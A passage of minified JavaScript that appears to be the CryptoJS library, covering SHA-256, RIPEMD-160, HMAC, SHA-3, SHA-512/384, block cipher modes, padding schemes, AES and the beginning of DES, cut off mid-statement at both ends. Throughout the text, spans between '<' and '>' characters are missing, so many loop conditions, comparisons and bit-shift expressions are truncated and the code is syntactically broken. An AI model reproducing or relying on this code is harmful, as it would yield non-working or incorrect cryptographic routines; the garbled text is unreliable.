r[n>>>5]|=128<<24-n%32,r[14+(64+n>>>9<<4)]=t.floor(i/4294967296),r[15+(64+n>>>9<<4)]=i,e.sigBytes=4*r.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});e.SHA256=n._createHelper(h),e.HmacSHA256=n._createHmacHelper(h)}(Math),function(){var t=mt.lib.WordArray,e=mt.enc;function r(t){return t<<8&4278255360|t>>>8&16711935}e.Utf16=e.Utf16BE={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>16-n%4*8&65535;i.push(String.fromCharCode(o))}return i.join("")},parse:function(e){for(var r=e.length,i=[],n=0;n>>1]|=e.charCodeAt(n)<<16-n%2*16;return t.create(i,2*r)}},e.Utf16LE={stringify:function(t){for(var e=t.words,i=t.sigBytes,n=[],o=0;o>>2]>>>16-o%4*8&65535);n.push(String.fromCharCode(s))}return n.join("")},parse:function(e){for(var i=e.length,n=[],o=0;o>>1]|=r(e.charCodeAt(o)<<16-o%2*16);return t.create(n,2*i)}}}(),function(){if("function"==typeof ArrayBuffer){var t=mt.lib.WordArray,e=t.init;(t.init=function(t){if(t instanceof ArrayBuffer&&(t=new Uint8Array(t)),(t instanceof Int8Array||"undefined"!=typeof Uint8ClampedArray&&t instanceof Uint8ClampedArray||t instanceof Int16Array||t instanceof Uint16Array||t instanceof Int32Array||t instanceof Uint32Array||t instanceof Float32Array||t instanceof Float64Array)&&(t=new Uint8Array(t.buffer,t.byteOffset,t.byteLength)),t instanceof Uint8Array){for(var r=t.byteLength,i=[],n=0;n>>2]|=t[n]<<24-n%4*8;e.call(this,i,r)}else e.apply(this,arguments)}).prototype=t}}(),Math,h=(a=mt).lib,l=h.WordArray,f=h.Hasher,d=a.algo,u=l.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13]),p=l.create([5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11]),_=l.create([11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6]),v=l.create([8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]),y=l.create([0,1518500249,1859775393,2400959708,2840853838]),g=l.create([1352829926,1548603684,1836072691,2053994217,0]),B=d.RIPEMD160=f.extend({_doReset:function(){this._hash=l.create([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o,s,c,a,h,l,f,d,B,w,k,S=this._hash.words,m=y.words,x=g.words,b=u.words,H=p.words,z=_.words,A=v.words;for(l=o=S[0],f=s=S[1],d=c=S[2],B=a=S[3],w=h=S[4],r=0;r<80;r+=1)k=o+t[e+b[r]]|0,k+=r<16?xt(s,c,a)+m[0]:r<32?bt(s,c,a)+m[1]:r<48?Ht(s,c,a)+m[2]:r<64?zt(s,c,a)+m[3]:At(s,c,a)+m[4],k=(k=Ct(k|=0,z[r]))+h|0,o=h,h=a,a=Ct(c,10),c=s,s=k,k=l+t[e+H[r]]|0,k+=r<16?At(f,d,B)+x[0]:r<32?zt(f,d,B)+x[1]:r<48?Ht(f,d,B)+x[2]:r<64?bt(f,d,B)+x[3]:xt(f,d,B)+x[4],k=(k=Ct(k|=0,A[r]))+w|0,l=w,w=B,B=Ct(d,10),d=f,f=k;k=S[1]+c+B|0,S[1]=S[2]+a+w|0,S[2]=S[3]+h+l|0,S[3]=S[4]+o+f|0,S[4]=S[0]+s+d|0,S[0]=k},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8),t.sigBytes=4*(e.length+1),this._process();for(var n=this._hash,o=n.words,s=0;s<5;s++){var c=o[s];o[s]=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8)}return n},clone:function(){var t=f.clone.call(this);return t._hash=this._hash.clone(),t}}),a.RIPEMD160=f._createHelper(B),a.HmacRIPEMD160=f._createHmacHelper(B),w=mt.lib.Base,k=mt.enc.Utf8,mt.algo.HMAC=w.extend({init:function(t,e){t=this._hasher=new t.init,"string"==typeof e&&(e=k.parse(e));var r=t.blockSize,i=4*r;e.sigBytes>i&&(e=t.finalize(e)),e.clamp();for(var n=this._oKey=e.clone(),o=this._iKey=e.clone(),s=n.words,c=o.words,a=0;a>>24)|4278255360&(o<<24|o>>>8),s=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),(A=r[n]).high^=s,A.low^=o}for(var f=0;f<24;f++){for(var d=0;d<5;d++){for(var u=0,p=0,_=0;_<5;_++)u^=(A=r[d+5*_]).high,p^=A.low;var v=l[d];v.high=u,v.low=p}for(d=0;d<5;d++){var y=l[(d+4)%5],g=l[(d+1)%5],B=g.high,w=g.low;for(u=y.high^(B<<1|w>>>31),p=y.low^(w<<1|B>>>31),_=0;_<5;_++)(A=r[d+5*_]).high^=u,A.low^=p}for(var k=1;k<25;k++){var S=(A=r[k]).high,m=A.low,x=c[k];p=x<32?(u=S<>>32-x,m<>>32-x):(u=m<>>64-x,S<>>64-x);var b=l[a[k]];b.high=u,b.low=p}var H=l[0],z=r[0];for(H.high=z.high,H.low=z.low,d=0;d<5;d++)for(_=0;_<5;_++){var A=r[k=d+5*_],C=l[k],D=l[(d+1)%5+5*_],E=l[(d+2)%5+5*_];A.high=C.high^~D.high&E.high,A.low=C.low^~D.low&E.low}A=r[0];var R=h[f];A.high^=R.high,A.low^=R.low}},_doFinalize:function(){var e=this._data,r=e.words,n=(this._nDataBytes,8*e.sigBytes),o=32*this.blockSize;r[n>>>5]|=1<<24-n%32,r[(t.ceil((1+n)/o)*o>>>5)-1]|=128,e.sigBytes=4*r.length,this._process();for(var s=this._state,c=this.cfg.outputLength/8,a=c/8,h=[],l=0;l>>24)|4278255360&(d<<24|d>>>8),u=16711935&(u<<8|u>>>24)|4278255360&(u<<24|u>>>8),h.push(u),h.push(d)}return new i.init(h,c)},clone:function(){for(var t=n.clone.call(this),e=t._state=this._state.slice(0),r=0;r<25;r++)e[r]=e[r].clone();return t}});e.SHA3=n._createHelper(f),e.HmacSHA3=n._createHmacHelper(f)}(Math),function(){var t=mt,e=t.lib.Hasher,r=t.x64,i=r.Word,n=r.WordArray,o=t.algo;function s(){return i.create.apply(i,arguments)}var c=[s(1116352408,3609767458),s(1899447441,602891725),s(3049323471,3964484399),s(3921009573,2173295548),s(961987163,4081628472),s(1508970993,3053834265),s(2453635748,2937671579),s(2870763221,3664609560),s(3624381080,2734883394),s(310598401,1164996542),s(607225278,1323610764),s(1426881987,3590304994),s(1925078388,4068182383),s(2162078206,991336113),s(2614888103,633803317),s(3248222580,3479774868),s(3835390401,2666613458),s(4022224774,944711139),s(264347078,2341262773),s(604807628,2007800933),s(770255983,1495990901),s(1249150122,1856431235),s(1555081692,3175218132),s(1996064986,2198950837),s(2554220882,3999719339),s(2821834349,766784016),s(2952996808,2566594879),s(3210313671,3203337956),s(3336571891,1034457026),s(3584528711,2466948901),s(113926993,3758326383),s(338241895,168717936),s(666307205,1188179964),s(773529912,1546045734),s(1294757372,1522805485),s(1396182291,2643833823),s(1695183700,2343527390),s(1986661051,1014477480),s(2177026350,1206759142),s(2456956037,344077627),s(2730485921,1290863460),s(2820302411,3158454273),s(3259730800,3505952657),s(3345764771,106217008),s(3516065817,3606008344),s(3600352804,1432725776),s(4094571909,1467031594),s(275423344,851169720),s(430227734,3100823752),s(506948616,1363258195),s(659060556,3750685593),s(883997877,3785050280),s(958139571,3318307427),s(1322822218,3812723403),s(1537002063,2003034995),s(1747873779,3602036899),s(1955562222,1575990012),s(2024104815,1125592928),s(2227730452,2716904306),s(2361852424,442776044),s(2428436474,593698344),s(2756734187,3733110249),s(3204031479,2999351573),s(3329325298,3815920427),s(3391569614,3928383900),s(3515267271,566280711),s(3940187606,3454069534),s(4118630271,4000239992),s(116418474,1914138554),s(174292421,2731055270),s(289380356,3203993006),s(460393269,320620315),s(685471733,587496836),s(852142971,1086792851),s(1017036298,365543100),s(1126000580,2618297676),s(1288033470,3409855158),s(1501505948,4234509866),s(1607167915,987167468),s(1816402316,1246189591)],a=[];!function(){for(var t=0;t<80;t++)a[t]=s()}();var h=o.SHA512=e.extend({_doReset:function(){this._hash=new n.init([new i.init(1779033703,4089235720),new i.init(3144134277,2227873595),new i.init(1013904242,4271175723),new i.init(2773480762,1595750129),new i.init(1359893119,2917565137),new i.init(2600822924,725511199),new i.init(528734635,4215389547),new i.init(1541459225,327033209)])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=i.high,p=i.low,_=n.high,v=n.low,y=o.high,g=o.low,B=s.high,w=s.low,k=h.high,S=h.low,m=l.high,x=l.low,b=f.high,H=f.low,z=d.high,A=d.low,C=u,D=p,E=_,R=v,M=y,F=g,P=B,W=w,O=k,I=S,U=m,K=x,X=b,L=H,j=z,N=A,T=0;T<80;T++){var q,Z,V=a[T];if(T<16)Z=V.high=0|t[e+2*T],q=V.low=0|t[e+2*T+1];else{var G=a[T-15],J=G.high,$=G.low,Q=(J>>>1|$<<31)^(J>>>8|$<<24)^J>>>7,Y=($>>>1|J<<31)^($>>>8|J<<24)^($>>>7|J<<25),tt=a[T-2],et=tt.high,rt=tt.low,it=(et>>>19|rt<<13)^(et<<3|rt>>>29)^et>>>6,nt=(rt>>>19|et<<13)^(rt<<3|et>>>29)^(rt>>>6|et<<26),ot=a[T-7],st=ot.high,ct=ot.low,at=a[T-16],ht=at.high,lt=at.low;Z=(Z=(Z=Q+st+((q=Y+ct)>>>0>>0?1:0))+it+((q+=nt)>>>0>>0?1:0))+ht+((q+=lt)>>>0>>0?1:0),V.high=Z,V.low=q}var ft,dt=O&U^~O&X,ut=I&K^~I&L,pt=C&E^C&M^E&M,_t=D&R^D&F^R&F,vt=(C>>>28|D<<4)^(C<<30|D>>>2)^(C<<25|D>>>7),yt=(D>>>28|C<<4)^(D<<30|C>>>2)^(D<<25|C>>>7),gt=(O>>>14|I<<18)^(O>>>18|I<<14)^(O<<23|I>>>9),Bt=(I>>>14|O<<18)^(I>>>18|O<<14)^(I<<23|O>>>9),wt=c[T],kt=wt.high,St=wt.low,mt=j+gt+((ft=N+Bt)>>>0>>0?1:0),xt=yt+_t;j=X,N=L,X=U,L=K,U=O,K=I,O=P+(mt=(mt=(mt=mt+dt+((ft+=ut)>>>0>>0?1:0))+kt+((ft+=St)>>>0>>0?1:0))+Z+((ft+=q)>>>0>>0?1:0))+((I=W+ft|0)>>>0>>0?1:0)|0,P=M,W=F,M=E,F=R,E=C,R=D,C=mt+(vt+pt+(xt>>>0>>0?1:0))+((D=ft+xt|0)>>>0>>0?1:0)|0}p=i.low=p+D,i.high=u+C+(p>>>0>>0?1:0),v=n.low=v+R,n.high=_+E+(v>>>0>>0?1:0),g=o.low=g+F,o.high=y+M+(g>>>0>>0?1:0),w=s.low=w+W,s.high=B+P+(w>>>0>>0?1:0),S=h.low=S+I,h.high=k+O+(S>>>0>>0?1:0),x=l.low=x+K,l.high=m+U+(x>>>0>>0?1:0),H=f.low=H+L,f.high=b+X+(H>>>0>>0?1:0),A=d.low=A+N,d.high=z+j+(A>>>0>>0?1:0)},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[30+(128+i>>>10<<5)]=Math.floor(r/4294967296),e[31+(128+i>>>10<<5)]=r,t.sigBytes=4*e.length,this._process(),this._hash.toX32()},clone:function(){var t=e.clone.call(this);return t._hash=this._hash.clone(),t},blockSize:32});t.SHA512=e._createHelper(h),t.HmacSHA512=e._createHmacHelper(h)}(),Z=(q=mt).x64,V=Z.Word,G=Z.WordArray,J=q.algo,$=J.SHA512,Q=J.SHA384=$.extend({_doReset:function(){this._hash=new G.init([new V.init(3418070365,3238371032),new V.init(1654270250,914150663),new V.init(2438529370,812702999),new V.init(355462360,4144912697),new V.init(1731405415,4290775857),new V.init(2394180231,1750603025),new V.init(3675008525,1694076839),new V.init(1203062813,3204075428)])},_doFinalize:function(){var t=$._doFinalize.call(this);return t.sigBytes-=16,t}}),q.SHA384=$._createHelper(Q),q.HmacSHA384=$._createHmacHelper(Q),mt.lib.Cipher||function(){var t=mt,e=t.lib,r=e.Base,i=e.WordArray,n=e.BufferedBlockAlgorithm,o=t.enc,s=(o.Utf8,o.Base64),c=t.algo.EvpKDF,a=e.Cipher=n.extend({cfg:r.extend(),createEncryptor:function(t,e){return this.create(this._ENC_XFORM_MODE,t,e)},createDecryptor:function(t,e){return this.create(this._DEC_XFORM_MODE,t,e)},init:function(t,e,r){this.cfg=this.cfg.extend(r),this._xformMode=t,this._key=e,this.reset()},reset:function(){n.reset.call(this),this._doReset()},process:function(t){return this._append(t),this._process()},finalize:function(t){return t&&this._append(t),this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(t){return{encrypt:function(e,r,i){return h(r).encrypt(t,e,r,i)},decrypt:function(e,r,i){return h(r).decrypt(t,e,r,i)}}}});function h(t){return"string"==typeof t?w:g}e.StreamCipher=a.extend({_doFinalize:function(){return this._process(!0)},blockSize:1});var l,f=t.mode={},d=e.BlockCipherMode=r.extend({createEncryptor:function(t,e){return this.Encryptor.create(t,e)},createDecryptor:function(t,e){return this.Decryptor.create(t,e)},init:function(t,e){this._cipher=t,this._iv=e}}),u=f.CBC=((l=d.extend()).Encryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;p.call(this,t,e,i),r.encryptBlock(t,e),this._prevBlock=t.slice(e,e+i)}}),l.Decryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);r.decryptBlock(t,e),p.call(this,t,e,i),this._prevBlock=n}}),l);function p(t,e,r){var i,n=this._iv;n?(i=n,this._iv=void 0):i=this._prevBlock;for(var o=0;o>>2];t.sigBytes-=e}},v=(e.BlockCipher=a.extend({cfg:a.cfg.extend({mode:u,padding:_}),reset:function(){var t;a.reset.call(this);var e=this.cfg,r=e.iv,i=e.mode;this._xformMode==this._ENC_XFORM_MODE?t=i.createEncryptor:(t=i.createDecryptor,this._minBufferSize=1),this._mode&&this._mode.__creator==t?this._mode.init(this,r&&r.words):(this._mode=t.call(i,this,r&&r.words),this._mode.__creator=t)},_doProcessBlock:function(t,e){this._mode.processBlock(t,e)},_doFinalize:function(){var t,e=this.cfg.padding;return this._xformMode==this._ENC_XFORM_MODE?(e.pad(this._data,this.blockSize),t=this._process(!0)):(t=this._process(!0),e.unpad(t)),t},blockSize:4}),e.CipherParams=r.extend({init:function(t){this.mixIn(t)},toString:function(t){return(t||this.formatter).stringify(this)}})),y=(t.format={}).OpenSSL={stringify:function(t){var e=t.ciphertext,r=t.salt;return(r?i.create([1398893684,1701076831]).concat(r).concat(e):e).toString(s)},parse:function(t){var e,r=s.parse(t),n=r.words;return 1398893684==n[0]&&1701076831==n[1]&&(e=i.create(n.slice(2,4)),n.splice(0,4),r.sigBytes-=16),v.create({ciphertext:r,salt:e})}},g=e.SerializableCipher=r.extend({cfg:r.extend({format:y}),encrypt:function(t,e,r,i){i=this.cfg.extend(i);var n=t.createEncryptor(r,i),o=n.finalize(e),s=n.cfg;return v.create({ciphertext:o,key:r,iv:s.iv,algorithm:t,mode:s.mode,padding:s.padding,blockSize:t.blockSize,formatter:i.format})},decrypt:function(t,e,r,i){return i=this.cfg.extend(i),e=this._parse(e,i.format),t.createDecryptor(r,i).finalize(e.ciphertext)},_parse:function(t,e){return"string"==typeof t?e.parse(t,this):t}}),B=(t.kdf={}).OpenSSL={execute:function(t,e,r,n){n=n||i.random(8);var o=c.create({keySize:e+r}).compute(t,n),s=i.create(o.words.slice(e),4*r);return o.sigBytes=4*e,v.create({key:o,iv:s,salt:n})}},w=e.PasswordBasedCipher=g.extend({cfg:g.cfg.extend({kdf:B}),encrypt:function(t,e,r,i){var n=(i=this.cfg.extend(i)).kdf.execute(r,t.keySize,t.ivSize);i.iv=n.iv;var o=g.encrypt.call(this,t,e,n.key,i);return o.mixIn(n),o},decrypt:function(t,e,r,i){i=this.cfg.extend(i),e=this._parse(e,i.format);var n=i.kdf.execute(r,t.keySize,t.ivSize,e.salt);return i.iv=n.iv,g.decrypt.call(this,t,e,n.key,i)}})}(),mt.mode.CFB=((Y=mt.lib.BlockCipherMode.extend()).Encryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;Dt.call(this,t,e,i,r),this._prevBlock=t.slice(e,e+i)}}),Y.Decryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);Dt.call(this,t,e,i,r),this._prevBlock=n}}),Y),mt.mode.ECB=((tt=mt.lib.BlockCipherMode.extend()).Encryptor=tt.extend({processBlock:function(t,e){this._cipher.encryptBlock(t,e)}}),tt.Decryptor=tt.extend({processBlock:function(t,e){this._cipher.decryptBlock(t,e)}}),tt),mt.pad.AnsiX923={pad:function(t,e){var r=t.sigBytes,i=4*e,n=i-r%i,o=r+n-1;t.clamp(),t.words[o>>>2]|=n<<24-o%4*8,t.sigBytes+=n},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso10126={pad:function(t,e){var r=4*e,i=r-t.sigBytes%r;t.concat(mt.lib.WordArray.random(i-1)).concat(mt.lib.WordArray.create([i<<24],1))},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso97971={pad:function(t,e){t.concat(mt.lib.WordArray.create([2147483648],1)),mt.pad.ZeroPadding.pad(t,e)},unpad:function(t){mt.pad.ZeroPadding.unpad(t),t.sigBytes--}},mt.mode.OFB=(rt=(et=mt.lib.BlockCipherMode.extend()).Encryptor=et.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._keystream;n&&(o=this._keystream=n.slice(0),this._iv=void 0),r.encryptBlock(o,0);for(var s=0;s>>8^255&p^99,i[r]=p;var _=t[n[p]=r],v=t[_],y=t[v],g=257*t[p]^16843008*p;o[r]=g<<24|g>>>8,s[r]=g<<16|g>>>16,c[r]=g<<8|g>>>24,a[r]=g,g=16843009*y^65537*v^257*_^16843008*r,h[p]=g<<24|g>>>8,l[p]=g<<16|g>>>16,f[p]=g<<8|g>>>24,d[p]=g,r?(r=_^t[t[t[y^_]]],u^=t[t[u]]):r=u=1}}();var u=[0,1,2,4,8,16,32,64,128,27,54],p=r.AES=e.extend({_doReset:function(){if(!this._nRounds||this._keyPriorReset!==this._key){for(var t=this._keyPriorReset=this._key,e=t.words,r=t.sigBytes/4,n=4*(1+(this._nRounds=6+r)),o=this._keySchedule=[],s=0;s>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p]):(p=i[(p=p<<8|p>>>24)>>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p],p^=u[s/r|0]<<24),o[s]=o[s-r]^p);for(var c=this._invKeySchedule=[],a=0;a>>24]]^l[i[p>>>16&255]]^f[i[p>>>8&255]]^d[i[255&p]]}}},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._keySchedule,o,s,c,a,i)},decryptBlock:function(t,e){var r=t[e+1];t[e+1]=t[e+3],t[e+3]=r,this._doCryptBlock(t,e,this._invKeySchedule,h,l,f,d,n),r=t[e+1],t[e+1]=t[e+3],t[e+3]=r},_doCryptBlock:function(t,e,r,i,n,o,s,c){for(var a=this._nRounds,h=t[e]^r[0],l=t[e+1]^r[1],f=t[e+2]^r[2],d=t[e+3]^r[3],u=4,p=1;p>>24]^n[l>>>16&255]^o[f>>>8&255]^s[255&d]^r[u++],v=i[l>>>24]^n[f>>>16&255]^o[d>>>8&255]^s[255&h]^r[u++],y=i[f>>>24]^n[d>>>16&255]^o[h>>>8&255]^s[255&l]^r[u++],g=i[d>>>24]^n[h>>>16&255]^o[l>>>8&255]^s[255&f]^r[u++];h=_,l=v,f=y,d=g}_=(c[h>>>24]<<24|c[l>>>16&255]<<16|c[f>>>8&255]<<8|c[255&d])^r[u++],v=(c[l>>>24]<<24|c[f>>>16&255]<<16|c[d>>>8&255]<<8|c[255&h])^r[u++],y=(c[f>>>24]<<24|c[d>>>16&255]<<16|c[h>>>8&255]<<8|c[255&l])^r[u++],g=(c[d>>>24]<<24|c[h>>>16&255]<<16|c[l>>>8&255]<<8|c[255&f])^r[u++],t[e]=_,t[e+1]=v,t[e+2]=y,t[e+3]=g},keySize:8});t.AES=e._createHelper(p)}(),function(){var t=mt,e=t.lib,r=e.WordArray,i=e.BlockCipher,n=t.algo,o=[57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4],s=[14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32],c=[1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28],a=[{0:8421888,268435456:32768,536870912:8421378,805306368:2,1073741824:512,1342177280:8421890,1610612736:8389122,1879048192:8388608,2147483648:514,2415919104:8389120,2684354560:33280,2952790016:8421376,3221225472:32770,3489660928:8388610,3758096384:0,4026531840:33282,134217728:0,402653184:8421890,671088640:33282,939524096:32768,1207959552:8421888,1476395008:512,1744830464:8421378,2013265920:2,2281701376:8389120,2550136832:33280,2818572288:8421376,3087007744:8389122,3355443200:8388610,3623878656:32770,3892314112:514,4160749568:8388608,1:32768,268435457:2,536870913:8421888,805306369:8388608,1073741825:8421378,1342177281:33280,1610612737:512,1879048193:8389122,2147483649:8421890,2415919105:8421376,2684354561:8388610,2952790017:33282,3221225473:514,3489660929:8389120,3758096385:32770,4026531841:0,134217729:8421890,402653185:8421376,671088641:8388608,939524097:512,1207959553:32768,1476395009:8388610,1744830465:2,2013265921:33282,2281701377:32770,2550136833:8389122,2818572289:514,3087007745:8421888,3355443201:8389120,3623878657:0,3892314113:33280,4160749569:8421378},{0:1074282512,16777216:16384,33554432:524288,50331648:1074266128,67108864:1073741840,83886080:1074282496,100663296:1073758208,117440512:16,134217728:540672,150994944:1073758224,167772160:1073741824,184549376:540688,201326592:524304,218103808:0,234881024:16400,251658240:1074266112,8388608:1073758208,25165824:540688,41943040:16,58720256:1073758224,75497472:1074282512,92274688:1073741824,109051904:524288,125829120:1074266128,142606336:524304,159383552:0,176160768:16384,192937984:1074266112,209715200:1073741840,226492416:540672,243269632:1074282496,260046848:16400,268435456:0,285212672:1074266128,301989888:1073758224,318767104:1074282496,335544320:1074266112,352321536:16,369098752:540688,385875968:16384,402653184:16400,419430400:524288,436207616:524304,452984832:1073741840,469762048:540672,486539264:1073758208,503316480:1073741824,520093696:1074282512,276824064:540688,293601280:524288,310378496:1074266112,327155712:16384,343932928:1073758208,360710144:1074282512,377487360:16,394264576:1073741824,411041792:1074282496,427819008:1073741840,444596224:1073758224,461373440:524304,478150656:0,494927872:16400,511705088:1074266128,528482304:540672},{0:260,1048576:0,2097152:67109120,3145728:65796,4194304:65540,5242880:67108868,6291456:67174660,7340032:67174400,8388608:67108864,9437184:67174656,10485760:65792,11534336:67174404,12582912:67109124,13631488:65536,14680064:4,15728640:256,524288:67174656,1572864:67174404,2621440:0,3670016:67109120,4718592:67108868,5767168:65536,6815744:65540,7864320:260,8912896:4,9961472:256,11010048:67174400,12058624:65796,13107200:65792,14155776:67109124,15204352:67174660,16252928:67108864,16777216:67174656,17825792:65540,18874368:65536,19922944:67109120,20971520:256,22020096:67174660,23068672:67108868,24117248:0,25165824:67109124,26214400:67108864,27262976:4,28311552:65792,29360128:67174400,30408704:260,31457280:65796,32505856:67174404,17301504:67108864,18350080:260,19398656:67174656,20447232:0,21495808:65540,22544384:67109120,23592960:256,24641536:67174404,25690112:65536,26738688:67174660,27787264:65796,28835840:67108868,29884416:67109124,30932992:67174400,31981568:4,33030144:65792},{0:2151682048,65536:2147487808,131072:4198464,196608:2151677952,262144:0,327680:4198400,393216:2147483712,458752:4194368,524288:2147483648,589824:4194304,655360:64,720896:2147487744,786432:2151678016,851968:4160,917504:4096,983040:2151682112,32768:2147487808,98304:64,163840:2151678016,229376:2147487744,294912:4198400,360448:2151682112,425984:0,491520:2151677952,557056:4096,622592:2151682048,688128:4194304,753664:4160,819200:2147483648,884736:4194368,950272:4198464,1015808:2147483712,1048576:4194368,1114112:4198400,1179648:2147483712,1245184:0,1310720:4160,1376256:2151678016,1441792:2151682048,1507328:2147487808,1572864:2151682112,1638400:2147483648,1703936:2151677952,1769472:4198464,1835008:2147487744,1900544:4194304,1966080:64,2031616:4096,1081344:2151677952,1146880:2151682112,1212416:0,1277952:4198400,1343488:4194368,1409024:2147483648,1474560:2147487808,1540096:64,1605632:2147483712,1671168:4096,1736704:2147487744,1802240:2151678016,1867776:4160,1933312:2151682048,1998848:4194304,2064384:4198464},{0:128,4096:17039360,8192:262144,12288:536870912,16384:537133184,20480:16777344,24576:553648256,28672:262272,32768:16777216,36864:537133056,40960:536871040,45056:553910400,49152:553910272,53248:0,57344:17039488,61440:553648128,2048:17039488,6144:553648256,10240:128,14336:17039360,18432:262144,22528:537133184,26624:553910272,30720:536870912,34816:537133056,38912:0,43008:553910400,47104:16777344,51200:536871040,55296:553648128,59392:16777216,63488:262272,65536:262144,69632:128,73728:536870912,77824:553648256,81920:16777344,86016:553910272,90112:537133184,94208:16777216,98304:553910400,102400:553648128,106496:17039360,110592:537133056,114688:262272,118784:536871040,122880:0,126976:17039488,67584:553648256,71680:16777216,75776:17039360,79872:537133184,83968:536870912,88064:17039488,92160:128,96256:553910272,100352:262272,104448:553910400,108544:0,112640:553648128,116736:16777344,120832:262144,124928:537133056,129024:536871040},{0:268435464,256:8192,512:270532608,768:270540808,1024:268443648,1280:2097152,1536:2097160,1792:268435456,2048:0,2304:268443656,2560:2105344,2816:8,3072:270532616,3328:2105352,3584:8200,3840:270540800,128:270532608,384:270540808,640:8,896:2097152,1152:2105352,1408:268435464,1664:268443648,1920:8200,2176:2097160,2432:8192,2688:268443656,2944:270532616,3200:0,3456:270540800,3712:2105344,3968:268435456,4096:268443648,4352:270532616,4608:270540808,4864:8200,5120:2097152,5376:268435456,5632:268435464,5888:2105344,6144:2105352,6400:0,6656:8,6912:270532608,7168:8192,7424:268443656,7680:270540800,7936:2097160,4224:8,4480:2105344,4736:2097152,4992:268435464,5248:268443648,5504:8200,5760:270540808,6016:270532608,6272:270540800,6528:270532616,6784:8192,7040:2105352,7296:2097160,7552:0,7808:268435456,8064:268443656},{0:1048576,16:33555457,32:1024,48:1049601,64:34604033,80:0,96:1,112:34603009,128:33555456,144:1048577,160:33554433,176:34604032,192:34603008,208:1025,224:1049600,240:33554432,8:34603009,24:0,40:33555457,56:34604032,72:1048576,88:33554433,104:33554432,120:1025,136:1049601,152:33555456,168:34603008,184:1048577,200:1024,216:34604033,232:1,248:1049600,256:33554432,272:1048576,288:33555457,304:34603009,320:1048577,336:33555456,352:34604032,368:1049601,384:1025,400:34604033,416:1049600,432:1,448:0,464:34603008,480:33554433,496:1024,264:1049600,280:33555457,296:34603009,312:1,328:33554432,344:1048576,360:1025,376:34604032,392:33554433,408:34603008,424:0,440:34604033,456:1049601,472:1024,488:33555456,504:1048577},{0:134219808,1:131072,2:134217728,3:32,4:131104,5:134350880,6:134350848,7:2048,8:134348800,9:134219776,10:133120,11:134348832,12:2080,13:0,14:134217760,15:133152,2147483648:2048,2147483649:134350880,2147483650:134219808,2147483651:134217728,2147483652:134348800,2147483653:133120,2147483654:133152,2147483655:32,2147483656:134217760,2147483657:2080,2147483658:131104,2147483659:134350848,2147483660:0,2147483661:134348832,2147483662:134219776,2147483663:131072,16:133152,17:134350848,18:32,19:2048,20:134219776,21:134217760,22:134348832,23:131072,24:0,25:131104,26:134348800,27:134219808,28:134350880,29:133120,30:2080,31:134217728,2147483664:131072,2147483665:2048,2147483666:134348832,2147483667:133152,2147483668:32,2147483669:134348800,2147483670:134217728,2147483671:134219808,2147483672:134350880,2147483673:134217760,2147483674:134219776,2147483675:0,2147483676:133120,2147483677:2080,2147483678:131104,2147483679:134350848}],h=[4160749569,528482304,33030144,2064384,129024,8064,504,2147483679],l=n.DES=i.extend({_doReset:function(){for(var t=this._key.words,e=[],r=0;r<56;r++){var 